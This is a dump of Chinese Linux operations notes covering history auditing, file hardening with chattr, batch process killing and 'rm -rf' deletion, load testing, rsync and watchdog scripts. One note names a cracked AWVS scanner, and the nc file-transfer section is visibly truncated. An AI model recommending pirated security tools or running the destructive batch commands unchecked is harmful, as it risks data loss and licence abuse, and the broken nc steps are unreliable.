-------------------------------------------------------------------------------- 1 | #2022-02-12优化历史命令显示 2 | HISTSIZE=5000 3 | HISTTIMEFORMAT="%Y/%m/%d %T ";export HISTTIMEFORMAT 4 | export HISTORY_FILE=/var/log/journal/.shell_audit/audit.log 5 | export PROMPT_COMMAND='{ code=$?;thisHistID=`history 1|awk "{print \\$1}"`;lastCommand=`history 1| awk "{\\$1=\"\" ;print}"`;user=`id -un`;whoStr=(`who -u am i`);realUser=${whoStr[0]};logDay=${whoStr[2]};logTime=${whoStr[3]};pid=${whoStr[5]};ip=`echo ${whoStr[6]}|tr -d "()"`;if [[ ${thisHistID}x != ${lastHistID}x ]];then echo -E [`date "+%Y/%m/%d %H:%M:%S"`] [$realUser@$ip] [$user] [PID:$pid] [LOGIN:$logDay $logTime] -- [$PWD] [$lastCommand ] [$code];lastHistID=$thisHistID;fi; } >> $HISTORY_FILE' 6 | -------------------------------------------------------------------------------- /linux/ubuntu/Ubuntu管理员强行踢出用户的命令.md: -------------------------------------------------------------------------------- 1 | 2 | 1、使用who查看一下都有谁在登录着服务器 3 | ``` 4 | who 5 | ``` 6 | 7 | 8 | 2、现在我想踢出第一个用户 9 | ``` 10 | su # 切换到root 11 | pkill -kill -t pts/0 12 | ``` 13 | 14 | 参考资料: 15 | 16 | https://www.jianshu.com/p/2edd3e0d4d43 301-Ubuntu 管理员强行踢出用户的命令 17 | -------------------------------------------------------------------------------- /linux/ubuntu/ubuntu下vim乱码.md: -------------------------------------------------------------------------------- 1 | ``` 2 | vim /etc/vim/vimrc 3 | 4 | set fileencodings=utf-8,gb2312,gbk,gb18030 5 | set termencoding=utf-8 6 | set encoding=prc 7 | ``` 8 | 参考文档: 9 | 10 | https://www.cnblogs.com/wenzheshen/p/6695050.html 11 | -------------------------------------------------------------------------------- /linux/ubuntu/ubuntu修改密码.md: -------------------------------------------------------------------------------- 1 | 这刚一换个发行版,就发现之前学的命令不对版了。新装的系统没有初始root密码,需要用安装过程中创建的用户执行sudo passwd来修改。因为之前做练习用惯了下面这种方式 2 | 3 | ``` 4 | echo password | passwd --stdin user 5 | ``` 6 | 7 | 但是发现这条命令在ubuntu里面不支持 --stdin 参数了。百度了一下,可以用以下的方式替代该命令 8 | 9 | ``` 10 | echo user:pass | chpasswd 11 | ``` 12 | 13 | 参考资料: 14 | 15 | https://blog.51cto.com/foolishfish/1537650 ubuntu下passwd不能使用--stdin参数的替代方法 16 | -------------------------------------------------------------------------------- /linux/ubuntu/ubuntu修改时区.md: -------------------------------------------------------------------------------- 1 | ``` 2 | 3 | 1) 更改系统时区 4 | 5 | ln -sf /usr/share/zoneinfo/Asia/Shanghai /etc/localtime 6 | 7 | 8 | 2) 使用Systemd更改Linux系统时区 9 | 10 | 如果你使用的Linux系统使用Systemd,还可以使用timedatectl命令来更改Linux系统范围的时区。在Systemd下有一个名为systemd-timedated的系统服务负责调整系统时钟和时区,我们可以使用timedatectl命令对此系统服务进行配置: 11 | 12 | sudo timedatectl set-timezone 'Asia/Shanghai' 13 | ``` 14 | 参考资料: 15 | 16 | https://ivanzz1001.github.io/records/post/linuxops/2018/02/06/linux-timezone Ubuntu16.04操作系统环境下修改时区 17 | -------------------------------------------------------------------------------- /linux/ubuntu/ubuntu安装nginx.md: -------------------------------------------------------------------------------- 1 | ``` 2 | sudo apt-get remove nginx* && sudo apt-get install nginx-full* 3 | 4 | 5 | vim /etc/nginx/sites-enabled/default 6 | 注释 7 | listen [::]:80 default_server; 8 | 9 | 10 | systemctl restart nginx 11 | 12 | Reinstall nginx: 13 | 14 | apt purge nginx 15 | apt autoremove 16 | apt install nginx 17 | ``` 18 | 参考文档: 19 | 20 | https://askubuntu.com/questions/764222/nginx-installation-error-in-ubuntu-16-04 21 | 22 | https://segmentfault.com/a/1190000014027697 23 | 24 | 25 | https://my.oschina.net/u/1036767/blog/784628 nginx: [emerg] socket() [::]:80 failed (97: Address family not supported by protocol) 26 | -------------------------------------------------------------------------------- /linux/xargs exec批量结束进程和删除文件方法.md: -------------------------------------------------------------------------------- 1 | ## ps、grep和kill联合使用杀掉进程 2 | 3 | ``` 4 | ps -ef |grep hello |awk '{print $2}'|xargs kill -9 5 | 6 | 这里是输出ps -ef |grep hello 结果的第二列的内容然后通过xargs传递给kill -9,其实第二列内容就是hello的进程号! 7 | ``` 8 | 9 | 10 | ## exec 11 | ``` 12 | 在删除之前可以打印出来看看: 13 | find . -name .svn -type d -exec ls -l {} \; 14 | 15 | find . -name .svn -type d -exec rm -rf {} \; 16 | 17 | ``` 18 | ## xargs 19 | ``` 20 | find . -name .svn -type d | xargs rm -rf 21 | 22 | find /data0/log -mtime +1 |grep -E "[0-9]{4}_[0-9]{1,2}_[0-9]{1,2}"|xargs rm -f 23 | ``` 24 | -------------------------------------------------------------------------------- /linux/安全加固/linux用户修改密码安全加固.md: -------------------------------------------------------------------------------- 1 | ``` 2 | chattr -i /etc/passwd* && chattr -i /etc/group* && chattr -i /etc/shadow* && chattr -i /etc/gshadow* 3 | 4 | 5 | chattr +i /etc/passwd* && chattr +i /etc/group* && chattr +i /etc/shadow* && chattr +i /etc/gshadow* 6 | 7 | ``` 8 | -------------------------------------------------------------------------------- /linux/安全加固/web安全漏洞扫描工具.md: -------------------------------------------------------------------------------- 1 | AWVS 破解版 2 | -------------------------------------------------------------------------------- /linux/安全加固/跳板机安全策略加固.md: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /linux/局域网p2p点对点传文件.md: -------------------------------------------------------------------------------- 1 | 说起来,关于手机和电脑之间互传文件,我介绍了不少工具,但估计之后有很多人最终又回归了最初的选择:要么 QQ,要么微信。那这不就是瞎子点灯 —— 白费蜡嘛。 2 | 当然,这些工具没有被大家选择的原因好像最主要的是还要另外再下载一个 App,所以很多小伙伴就会被懒癌所劝退,即使下载了,之后也会因为使用频率不高,慢慢的遗忘了它。 3 | 我也非常理解大家,所以也卯足了劲,今天就介绍一个让你们无法拒绝的工具,它可以手机、电脑之间互传文件,不管是你是iOS、安卓、Windows,统统可以满足你的要求,而且根本不用下载任何 App,只需一个网站就完全足矣。 4 | 这个网站就是 Snapdrop。 5 | 使用简单 6 | 首先确保设备(电脑、手机)是在同一局域网(同一 Wifi)。 7 | 然后在电脑和手机浏览器都打开网页 https://snapdrop.net。 8 | 你看,我的电脑已经打开了网站,它会自动寻找附近处于同一网络且浏览器登录该网站的设备。 9 | 当手机端一登上网站,电脑端以及手机端就会显示局域网内同时打开这个网页的设备。 10 | 这样够快、够方便吧,根本不用输入任何密钥什么的,唰的一下就连上了。 11 | 图片 12 | 接下来就更简单了,只要点击屏幕上的设备图标,然后选择文件就能传输了。 13 | 图片 14 | 手机上也是同样的道理。 15 | 图片 16 | 当手机向电脑发送文件时,电脑就能收到你从手机发过来的文件了,你可以选择直接忽略或者保存到电脑,反之亦然。 17 | 当然,知道大家最关心传输速度了,不过速度这事只能取决于出口和入口,也就是路由器和你设备的接口,反正总之是满速就对了。 18 | 图片 19 | 除了能发送文件之外,右键点击对方设备,居然还能发送信息,有意思。 20 | 图片 21 | 而且你以为只能两个设备互相连接吗?NO,可以多个设备连接到一块,不过发送文件还是只得逐个发送了。 22 | 图片 23 | 原理简介 24 | 大家肯定都知道 AirDrop 吧,这个 Snapdrop 传输文件的方法也是和它非常相似。 25 | Snapdrop 是使用 P2P 连接来实现设备之间的文件传输,所以几乎任何能够使用浏览器的设备都可以使用,而且不用管运行的是什么操作系统,就是这么简单粗暴好用。 26 | 还有更方便的还没有讲到,那就是根本不需要注册就能直接使用。 27 | 既然是传输文件,那就不能不谈一下隐私和安全了,这个不能忽略。 28 | 首先 Snapdrop 是一项开源服务,会强制加密,因此你的所有文件在传输过程中都会被加密,而且传输的文件数据也不走服务器,会直接发送给对方,它甚至不使用数据库。 29 | 至于传输文件的格式和速度,格式目前没有发现什么限制,也没有文件大小的限制,小文件基本是秒传,大文件具体看你的网速。 30 | 对了要提醒大家一下,在文件传输时,需保持浏览器页面置顶,若是最小化的话可能会传输失败。 31 | 总结 32 | 如果你用不了华为的 Huawei Share,也和苹果的 AirDrop 无缘,那么强烈建议你试用一下这个 Snapdrop,不需要下载 App,不需密钥,直接就能在电脑手机之间甚至电脑和电脑、手机和传输文件。 33 | 具体到使用场景的话,你就直接把这个网站收藏起来,用的时候点开直接传就完事了,别每次传个文件第一时间就是去登微信和 QQ。 34 | 35 | 36 | 参考资料: 37 | 38 | https://mp.weixin.qq.com/s/skqalb73b71rIGnTG6umww 39 | -------------------------------------------------------------------------------- /linux/常用工具/CPU,IO,Mem压测.md: -------------------------------------------------------------------------------- 1 | ``` 2 | dd if=/dev/zero of=loadfile bs=1M count=4096 3 | 4 | while true; do /bin/cp -f loadfile loadfile1; done & 5 | 6 | 7 | 2 内存负荷模拟:通过在内存中创建文件系统然后往里面写文件来实现的 8 | 9 | 首先,创建一个挂载点,然后将 ramfs 文件系统挂载上去: 10 | 11 | mkdir z 12 | mount -t ramfs ramfs z/ 13 | 14 | 第二步,使用 dd 在该目录下创建文件。这里我们创建了一个 128M 的文件: 15 | 16 | dd if=/dev/zero of=z/file bs=1M count=128 17 | 18 | 第三步,测试完,恢复内存 19 | 20 | rm z/file 21 | umount z 22 | rmdir z 23 | 24 | ``` 25 | 26 | 参考文档: 27 | 28 | https://blog.csdn.net/heavenmark/article/details/82805260 29 | 30 | https://blog.csdn.net/Man_In_The_Night/article/details/90521966 31 | 32 | 33 | -------------------------------------------------------------------------------- /linux/常用工具/Linux修改本机hosts不生效问题.md: -------------------------------------------------------------------------------- 1 | ``` 2 | 3). 如果重启服务器后,还是不起作用,应该是本机的dns缓存引起的。 3 | 4 | 查看nscd是否启用: ps -ef|grep nscd 5 | 6 | 直接关闭Linux nscd 缓存服务: 7 | /etc/init.d/nscd stop 8 | 9 | 10 | systemctl stop nscd 11 | ``` 12 | 参考资料: 13 | 14 | https://www.cnblogs.com/quwaner/p/7873370.html 15 | -------------------------------------------------------------------------------- /linux/常用工具/Linux系统中的load average.md: -------------------------------------------------------------------------------- 1 | # 1. load average 定义 2 | 3 | linux系统中的Load对当前CPU工作量的度量。简单的说是进程队列的长度。 4 | 5 | Load Average 就是一段时间 (1 分钟、5分钟、15分钟) 内平均 Load 。 6 | 7 | 通过系统命令"w"查看当前load average情况 8 | 9 | 10 | 11 | 上边0.31,0.30,0.31表示 12 | 13 | 第一位0.31:表示最近1分钟平均负载 14 | 第二位0.30:表示最近5分钟平均负载 15 | 第三位0.31:表示最近15分钟平均负载 16 | 17 | 注:linux系统是5秒钟进行一次Load采样 18 | 19 | 20 | 21 | # 2. load average值的含义 22 | 23 | 1) 单核处理器 24 | 25 | 假设我们的系统是单CPU单内核的,把它比喻成是一条单向马路,把CPU任务比作汽车。当车不多的时候,load <1;当车占满整个马路的时候 load=1;当马路都站满了,而且马路外还堆满了汽车的时候,load>1 26 | 27 | 2) 多核处理器 28 | 29 | 我们经常会发现服务器Load > 1但是运行仍然不错,那是因为服务器是多核处理器(Multi-core)。 30 | 假设我们服务器CPU是2核,那么将意味我们拥有2条马路,我们的Load = 2时,所有马路都跑满车辆。 31 | 32 | 注:查看cpu 核数命令: 33 | 34 | grep 'model name' /proc/cpuinfo | wc -l 35 | 36 | 37 | 38 | # 3. 什么样的Load average值要提高警惕 39 | 40 | 0.7 < load < 1: 此时是不错的状态,如果进来更多的汽车,你的马路仍然可以应付。 41 | load = 1: 你的马路即将拥堵,而且没有更多的资源额外的任务,赶紧看看发生了什么吧。 42 | load > 5: 非常严重拥堵,我们的马路非常繁忙,每辆车都无法很快的运行 43 | 44 | 45 | 46 | # 4. 三种Load值,应该看哪个 47 | 48 | 通常我们先看15分钟load,如果load很高,再看1分钟和5分钟负载,查看是否有下降趋势。 49 | 1分钟负载值 > 1,那么我们不用担心,但是如果15分钟负载都超过1,我们要赶紧看看发生了什么事情。所以我们要根据实际情况查看这三个值。 50 | 51 | 参考文档: 52 | 53 | https://www.cnblogs.com/kaituorensheng/p/3602805.html Linux系统中的load average 54 | 55 | https://blog.csdn.net/zqz_zqz/article/details/80392830 正确使用load average的姿势 56 | 57 | -------------------------------------------------------------------------------- /linux/常用工具/Linux获取当前内网IP.md: -------------------------------------------------------------------------------- 1 | # 一、获取方式一 2 | 3 | ```bash 4 | root># hostname -I | awk -F " " '{printf $1}' 5 | 172.30.186.162 6 | ``` 7 | 8 | # 二、获取脚本 9 | 10 | ```bash 11 | root># cat getip.sh 12 | #!/bin/bash 13 | IP=$(hostname -I | awk -F " " '{printf $1}') 14 | echo $IP 15 | root># sh getip.sh 16 | 172.30.186.162 17 | ``` 18 | 19 | # 三、获取方式三 20 | 21 | ```bash 22 | root># hostIp=$(ip addr | grep inet | egrep -v '(127.0.0.1|inet6|docker)' | awk '{print $2}' | tr -d "addr:" | head -n 1 | cut -d / -f1) 23 | 24 | root># echo $hostIp 25 | 172.30.186.162 26 | ``` 27 | 28 | 参考资料: 29 | 30 | https://blog.csdn.net/qq_26003101/article/details/113551948 CentOS脚本获取当前内网IP 31 | -------------------------------------------------------------------------------- /linux/常用工具/No space left on device.md: -------------------------------------------------------------------------------- 1 | # 一、快速找出占用根分区的文件 2 | ```yaml 3 | root># cd /;file=`ls |grep -v proc`;for i in $file;do du -sh /$i;done 4 | 0 /bin 5 | 126M /boot 6 | 0 /data 7 | 0 /data1 8 | 0 /data10 9 | 0 /data2 10 | 0 /data3 11 | 0 /data4 12 | 0 /data5 13 | 0 /data6 14 | 0 /data7 15 | 0 /data8 16 | 0 /data9 17 | 0 /dev 18 | 51G /etc 19 | 84K /home 20 | 0 /lib 21 | 0 /lib64 22 | 0 /media 23 | 0 /mnt 24 | 9.2M /opt 25 | 16M /root 26 | 34M /run 27 | 0 /sbin 28 | 0 /srv 29 | 0 /sys 30 | 1.6G /tmp 31 | 3.9G /usr 32 | 5.1G /var 33 | ``` 34 | 35 | # 二、Linux系统中/root显示大小为181G,但/root下却无大文件,重启OS后依然如此. 36 | 37 | ```yaml 38 | root># du -sh .[!.]* 39 | 36K .bash_history 40 | 4.0K .bash_logout 41 | 4.0K .bash_profile 42 | 4.0K .bashrc 43 | 4.0K .bashrc-anaconda3.bak 44 | 19M .cache 45 | 4.0K .cshrc 46 | 8.0K .groovy 47 | 20K .java 48 | 9.7G .jenkins 49 | 4.0K .lesshst 50 | 52M .local 51 | 960M .m2 52 | 8.0K .pki 53 | 4.0K .python_history 54 | 16K .ssh 55 | 4.0K .tcshrc 56 | 4.0K .viminfo 57 | 58 | du -h --max-depth=1 / 59 | ``` 60 | 61 | 参考文档: 62 | 63 | https://blog.51cto.com/12643266/2352355 "No space left on device" 磁盘空间提示不足解决办法 64 | -------------------------------------------------------------------------------- /linux/常用工具/README.md: -------------------------------------------------------------------------------- 1 | # 一、awk计算(浮点型运算) 2 | 3 | ``` 4 | #!/bin/bash 5 | cnt=1200 6 | awk 'BEGIN{printf "%.0f\n",('$cnt'*'0.8')}' 7 | ``` 8 | 9 | # 二、整形运算 10 | ``` 11 | #!/bin/bash 12 | cnt=1200 13 | expr $cnt '*' 2 14 | ``` 15 | 16 | # 三、pstree 17 | ``` 18 | 1、在 Mac OS上 19 | 20 | brew install pstree 21 | 22 | 2、在 Fedora/Red Hat/CentOS 23 | 24 | yum -y install psmisc 25 | 26 | 3、在 Ubuntu/Debian 27 | 28 | apt-get install psmisc 29 | ``` 30 | 31 | # 四、强制覆盖 32 | ``` 33 | #方式一 34 | 使用原生的cp命令 35 | /bin/cp -rf /root/.bashrc /home/www/ 36 | 37 | #方式二 38 | 取消cp命令别名 39 | unalias cp 40 | 41 | 复制完成后恢复别名 42 | alias cp='cp -i' 43 | ``` 44 | 45 | # 五、快速找出占用根分区文件 46 | 47 | ```yaml 48 | [root@master /]# cd /;file=`ls |grep -v proc`;for i in $file;do du -sh /$i;done 49 | 0 /bin 50 | 126M /boot 51 | 0 /data 52 | 0 /data1 53 | 0 /data10 54 | 0 /data2 55 | 0 /data3 56 | 0 /data4 57 | 0 /data5 58 | 0 /data6 59 | 0 /data7 60 | 0 /data8 61 | 0 /data9 62 | 0 /dev 63 | 51G /etc 64 | 84K /home 65 | 0 /lib 66 | 0 /lib64 67 | 0 /media 68 | 0 /mnt 69 | 9.2M /opt 70 | 16M /root 71 | 34M /run 72 | 0 /sbin 73 | 0 /srv 74 | 0 /sys 75 | 1.6G /tmp 76 | 3.9G /usr 77 | 5.1G /var 78 | ``` 79 | 80 | 参考资料 81 | 82 | 83 | http://dsl000522.blog.sohu.com/200854305.html 84 | -------------------------------------------------------------------------------- /linux/常用工具/Resource temporarily unavailable问题解决.md: -------------------------------------------------------------------------------- 1 | ```bash 2 | # First check journal for errors: 3 | journalctl -xb; 4 | 5 | # This fixed it for me: 6 | yum -y update nss curl kernel openssl systemd dbus polkit; 7 | #reboot; 8 | ``` 9 | 参考资料: 10 | 11 | https://www.basvanbeek.nl/linux/error-getting-authority-error-initializing-authority-could-not-connect-resource-temporarily-unavailable-g-io-error-quark-27/ 12 | -------------------------------------------------------------------------------- /linux/常用工具/SecureCRT的logon action登录跳转设置.md: -------------------------------------------------------------------------------- 1 | 在公司干活,大家都要经常通过跳板机跳到外网的服务器上,如果每次都要先登录跳板机,然后再ssh到外网的服务器,的确有点坑,特别是在服务器数量较多的情况下,之前就用过securecrt的logon actions设置,但这次无论怎么样都无法直接跳到外网的机器,原来对logon actions的跳转原理还是不清晰。首先讲如下进行跳转把: 2 | 3 | ![securecrt跳转](https://github.com/Lancger/opslinux/blob/master/images/securecrt-01.png) 4 | 5 | 点击logon actions菜单,选中Automate logon复选框,然后编辑登录后需要send的命令和密码,Expect这个field的意思是:在登录后,遇到该expect的描述,就执行Send中的命令。而我的跳板机登录后显示的信息如下: 6 | 7 | ![securecrt跳转](https://github.com/Lancger/opslinux/blob/master/images/securecrt-02.png) 8 | 9 | shell提示为:~>,所以我之前一直在logon actions中使用默认的Expect:ogin:,所以一直跳转不了: 10 | 11 | ![securecrt跳转](https://github.com/Lancger/opslinux/blob/master/images/securecrt-03.png) 12 | 13 | 参考资料: 14 | 15 | https://blog.csdn.net/sole_cc/article/details/51470311 16 | -------------------------------------------------------------------------------- /linux/常用工具/awk数组求和.md: -------------------------------------------------------------------------------- 1 | ``` 2 | #原始文件 3 | (demo1) ➜ ~ cat 1.txt 4 | 3.091GB 36090784 i-9jc054 5 | 3.120GB 31420142 i-net96r 6 | 3.121GB 14576889 i-nvvj5m 7 | 3.156GB 37482709 i-9jc054 8 | 9 | 10 | (demo1) ➜ ~ cat 1.txt | awk '{S[$3]+=$2}END{for(a in S)print a,S[a]}' 11 | i-nvvj5m 14576889 12 | i-net96r 31420142 13 | i-9jc054 73573493 14 | ``` 15 | 参考资料: 16 | 17 | https://blog.51cto.com/quguanhai/1811271 awk 用数组实现分组统计求和 18 | -------------------------------------------------------------------------------- /linux/常用工具/dmesg日志中加入时间戳.md: -------------------------------------------------------------------------------- 1 | ``` 2 | CentOS 7 dmesg信息,dmesg -T 可以显示时间戳 3 | 4 | [root@centos6 ~]#echo 1 >/sys/module/printk/parameters/time 5 | [root@centos6 ~]#cat /sys/module/printk/parameters/time 6 | Y 7 | 8 | ``` 9 | 10 | 11 | 参考资料: 12 | 13 | https://www.jianshu.com/p/1780360cfd2b 14 | -------------------------------------------------------------------------------- /linux/常用工具/linux查看磁盘是否SSD磁盘.md: -------------------------------------------------------------------------------- 1 | # 一、检测方式一 2 | ``` 3 | 命令: 4 | cat /sys/block/sda/queue/rotational 5 | 0 6 | 7 | cat /sys/block/sdb/queue/rotational 8 | 1 9 | 10 | 注意: 11 | 命令中的sba是你的磁盘名称,可以通过df命令查看磁盘,然后修改成你要的 12 | 13 | 14 | 结果: 15 | 返回0:SSD盘 16 | 返回1:SATA盘 17 | ``` 18 | 19 | # 二、检测方式二 20 | ``` 21 | lsblk -d -o name,rota 22 | 23 | NAME ROTA 24 | sda 0 25 | sdb 1 26 | ``` 27 | 28 | # 三、检测方式三 29 | ``` 30 | lsscsi 31 | 32 | [0:0:0:0] disk ATA Samsung SSD 850 3B6Q /dev/sda ---三星SSD 33 | [1:0:0:0] disk ATA ST91000640NS AA09 /dev/sdb ---希捷SATA 34 | ``` 35 | 36 | 参考文档: 37 | 38 | https://blog.csdn.net/daiyudong2020/article/details/51454831 linux查看磁盘是否SSD盘 39 | -------------------------------------------------------------------------------- /linux/常用工具/nc传输文件.md: -------------------------------------------------------------------------------- 1 | 方法2,-----先启动发送命命令,后开启接受命令 2 | 3 | 步骤1,先在B机器上,启动发送文件命令 4 | 5 | 下面命令表示通过本地的10086端口发送abc.txt文件 6 | 7 | nc -l 10086 abc1.txt 16 | 17 | 参考文档: 18 | 19 | https://blog.csdn.net/huangzx3/article/details/80844439 20 | -------------------------------------------------------------------------------- /linux/常用工具/rsync同步数据.md: -------------------------------------------------------------------------------- 1 | ``` 2 | rsync -avzP --exclude="log" --exclude="logs" --exclude="2019-05*" /data0/opt/tomcat8_8085_openapi root@192.168.52.110:/data0/opt/ 3 | 4 | rsync -avzP /usr/local/apache-activemq-5.15.8 root@23.244.63.94:/usr/local/ 5 | 6 | 7 | rsync -av /opt/ root@192.168.52.130:/opt/ 8 | rsync -avzP --exclude="log" --exclude="logs" --exclude="2019-05*" /data0/opt/ root@192.168.52.130:/data0/opt/ 9 | 10 | 11 | 12 | nohup java -jar -Dlogging.path=/opt/logs/exchange-config /opt/jars/kedou-boot-server-config-0.0.1.jar 1>/dev/null 2>&1 & 13 | 14 | nohup java -jar -Dfastjson.parser.autoTypeSupport=true -Dspring.profiles.active=test -Dlogging.path=/opt/logs/exchange-api /opt/jars/exchange-api-1.0.0.jar 1>/dev/null 2>&1 & 15 | ``` 16 | -------------------------------------------------------------------------------- /linux/常用工具/shell脚本检测https证书有效期.md: -------------------------------------------------------------------------------- 1 | 申请的https证书越多,管理起来越容易出问题,因此有必要添加定期巡检的脚本(当然,首先要把https证书的申请权限收口到运维侧统一管理,不然还是无法根治问题) 2 | 3 | ``` 4 | #!/bin/bash 5 | # 检测https证书有效期 6 | 7 | source /etc/profile 8 | 9 | while read line; do 10 | echo "=====================================================================================" 11 | 12 | echo "当前检测的域名:" $line 13 | end_time=$(echo | timeout 1 openssl s_client -servername $line -connect $line:443 2>/dev/null | openssl x509 -noout -enddate 2>/dev/null | awk -F '=' '{print $2}' ) 14 | ([ $? -ne 0 ] || [[ $end_time == '' ]]) && exit 10 15 | 16 | end_times=`date -d "$end_time" +%s ` 17 | current_times=`date -d "$(date -u '+%b %d %T %Y GMT') " +%s ` 18 | 19 | let left_time=$end_times-$current_times 20 | days=`expr $left_time / 86400` 21 | echo "剩余天数: " $days 22 | 23 | [ $days -lt 30 ] && echo "https 证书有效期少于30天,存在风险" 24 | 25 | done < /root/https_list 26 | ``` 27 | 28 | cat /root/https_list 内容类似如下: 29 | ``` 30 | www.baidu.com 31 | www.qq.com 32 | ``` 33 | 34 | 脚本的执行后效果如下。 另外,我们可以在脚本的判断条件里面,将echo改成email告警或者调公司内部的告警平台。 35 | 36 | 参考资料: 37 | 38 | https://blog.51cto.com/lee90/2410670 shell脚本检测https证书有效期 39 | -------------------------------------------------------------------------------- /linux/常用工具/sublime-text批量删除空白行.md: -------------------------------------------------------------------------------- 1 | 参考资料: 2 | 3 | https://www.cnblogs.com/CH520/p/9463441.html sublime text 批量删除空白行 4 | -------------------------------------------------------------------------------- /linux/常用工具/免费IP代理池.md: -------------------------------------------------------------------------------- 1 | 参考文档: 2 | 3 | https://zhuanlan.zhihu.com/p/31431224 如何搭建自己的免费IP代理池 4 | -------------------------------------------------------------------------------- /linux/常用工具/日常运维工具合集.md: -------------------------------------------------------------------------------- 1 | ``` 2 | 1.procs 显示进程相关信息 3 | 4 | r :表示运行和等待cpu时间片的进程数,如果长期大于服务器cpu的个数,则说明cpu不够用了; 5 | 6 | b :表示等待资源的进程数,比如等待I/O, 内存等,这列的值如果长时间大于1,则需要关注一下了; 7 | 8 | 2.memory 内存相关信息 9 | 10 | swpd :表示切换到交换分区中的内存数量 ;如果他的数值一直在变化那证明他的内存不够了 11 | 12 | free :当前空闲的内存数量; 13 | 14 | buff :缓冲大小,(即将写入磁盘的); 15 | 16 | cache :缓存大小,(从磁盘中读取的); 17 | 18 | 3.swap 内存交换情况 19 | 20 | si :由交换区swap写入到内存的数据量;单位kb 21 | 22 | so :由内存写入到交换区的数据量;从内存里出来的 23 | 24 | 4.io 磁盘使用情况 25 | 26 | 这两个频繁的变证明他们在频繁的读写 27 | 28 | bi :从块设备读取数据的量(读磁盘);从磁盘里出来进入到内存里边去 29 | 30 | bo: 从块设备写入数据的量(写磁盘); 31 | 32 | 5.system 显示采集间隔内发生的中断次数 33 | 34 | in :表示在某一时间间隔中观测到的每秒设备中断数; 35 | 36 | cs :表示每秒产生的上下文切换次数; 37 | 38 | 6.CPU 显示cpu的使用状态 39 | 40 | us :显示了用户下所花费 cpu 时间的百分比;长时间大于50%说明资源不够了 41 | 42 | sy :显示系统本身花费cpu时间百分比; 43 | 44 | id :表示cpu处于空闲状态的时间百分比; 45 | 46 | wa :表示I/O等待所占用cpu时间百分比; 47 | 48 | st :表示被偷走的cpu所占百分比(一般都为0,不用关注); 49 | 50 | us+sy+id=100% 51 | 52 | 53 | 54 | ``` 55 | 56 | 参考文档: 57 | 58 | https://blog.51cto.com/12922638/2129055 日常运维1w、vmstat 59 | -------------------------------------------------------------------------------- /linux/常用工具/检测Linux虚拟化平台类型的几种方式.md: -------------------------------------------------------------------------------- 1 | # 检测Linux虚拟化平台类型的几种方式 2 | 3 | 4 | 要想找出 Linux 系统运行在虚拟化平台中还是硬件服务器上,有多种方式可供大家选择,这主要取决于你的 hypervisor 或 container 环境。不同的虚拟化或容器技术会在其实例中引入不同的识别指纹,如:处理器厂商、特殊的 /proc 文件或虚拟网卡名称等。 另外通过 dmesg 显示启动序列,也可以找出 Linux 或 VPS 所使用虚拟化平台类型的一些线索。 5 | 6 | 下面我们将介绍几个命令行工具,让大家可以非常容易地检测到 Linux 所使用的虚拟化平台类型。 7 | 8 | # 方法一:dmidecode 9 | 10 | 要检测 Linux 底层的虚拟化类型首选的就是 dmidecode 命令,它最初设计来显示系统 BIOS 和硬件组件的相关信息。使用如下命令便可以检测相关虚拟化信息: 11 | ``` 12 | sudo dmidecode -s system-manufacturer 13 | ``` 14 | 15 | # 方法二:systemd 16 | 17 | 对于使用 systemd 的 Linux 系统,可以使用 systemd-detect-virt 命令来进行检测,该命令目前可以同时检测到基于 hypervisor 的虚拟化技术(例如 KVM、QEMU、VMware、Xen、Oracle VM、VirtualBox、UML)和基于容器的虚拟化技术(例如 LXC、Docker、OpenVZ)。 18 | ``` 19 | systemd-detect-virt 20 | 21 | 注意:在物理服务器上使用该命令会输出「none」。 22 | ``` 23 | 24 | # 方法三:virt-what 25 | 26 | 我们介绍的最后一种检测 Linux 所使用虚拟化类型的方法是 virt-what 命令,virt-what 实际上是一个 Shell 脚本。它通过各种启发式方法来识别虚拟化环境类型,可以检测出 QEMU/KVM、VMware、Hyper-V、VirtualBox、OpenVZ/Virtuozzo、Xen、LXC、IBM PowerVM 以及 Parallels 等平台类型。 27 | 28 | 在使用之前,大家需要先通过 apt-get 或 yum 安装 virt-what,再执行如下命令进行检测: 29 | ``` 30 | sudo virt-what 31 | ``` 32 | 33 | 参考资料: 34 | 35 | https://www.linuxidc.com/Linux/2016-03/129539.htm 36 | -------------------------------------------------------------------------------- /linux/常用工具/程序自动拉起脚本.md: -------------------------------------------------------------------------------- 1 | ``` 2 | cat > /usr/local/bin/keepalived_proc_monitor.sh <<\EOF 3 | #!/bin/bash 4 | # function: automatic pull up process 5 | # auth: Lancger 6 | # version: 1.0 7 | # date: 2019-10-25 8 | 9 | export PATH=$PATH:'/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin' 10 | cd `dirname $0` 11 | 12 | server_tag='keepalived' 13 | script_name="keepalived_proc_monitor.sh" 14 | 15 | log=/tmp/${server_tag}_run.log 16 | datetime=`date +'%Y%m%d %H:%M:%S'` 17 | 18 | function check_all() 19 | { 20 | tag_ret=0 21 | i=0 22 | while [ $i -lt 3 ] 23 | do 24 | i=$(($i+1)) 25 | tag_ret=`ps -ef | grep -v grep | grep ${server_tag}|grep -v ${script_name} > /dev/null 2>&1 && echo $?` 26 | if [ -z ${tag_ret} ];then 27 | sleep 1 28 | continue 29 | fi 30 | break; 31 | done 32 | 33 | if [ -z ${tag_ret} ] ;then 34 | echo "${server_tag} $datetime 服务异常,请检查" 35 | /etc/init.d/keepalived restart > /dev/null 2>&1 36 | exit 0 37 | fi 38 | } 39 | check_all>>$log 40 | EOF 41 | 42 | chmod +x /usr/local/bin/keepalived_proc_monitor.sh 43 | /bin/bash /usr/local/bin/keepalived_proc_monitor.sh 44 | 45 | #设置定时任务 46 | crontab_tmp="/tmp/crontab_tmp" 47 | crontab -l | grep -v "keepalived" | grep -v "# check keepalived service" > $crontab_tmp 48 | newcron="*/2 * * * * /bin/bash /usr/local/bin/keepalived_proc_monitor.sh >/dev/null 2>&1" 49 | echo "# check keepalived service" >> $crontab_tmp 50 | echo "$newcron" >> $crontab_tmp 51 | chattr -i /var/spool/cron/root 52 | crontab $crontab_tmp 53 | chattr +i /var/spool/cron/root 54 | ``` 55 | -------------------------------------------------------------------------------- /linux/系统优化/CentOS 7不收集message日志.md: -------------------------------------------------------------------------------- 1 | ``` 2 | 前一直有日志生成,正常运行,日志突然不收集 ,最后一次轮替日志之后,/var/log/message, /var/log/secure等都不记录了,并且都是空文件。 3 | 背景 4 | 重启机器:reboot 无效 5 | 重启日志: systemctl start rsyslog 无效 6 | 怀疑空间不足,删除/var/log/messages,重新运行rsyslog 无效 7 | 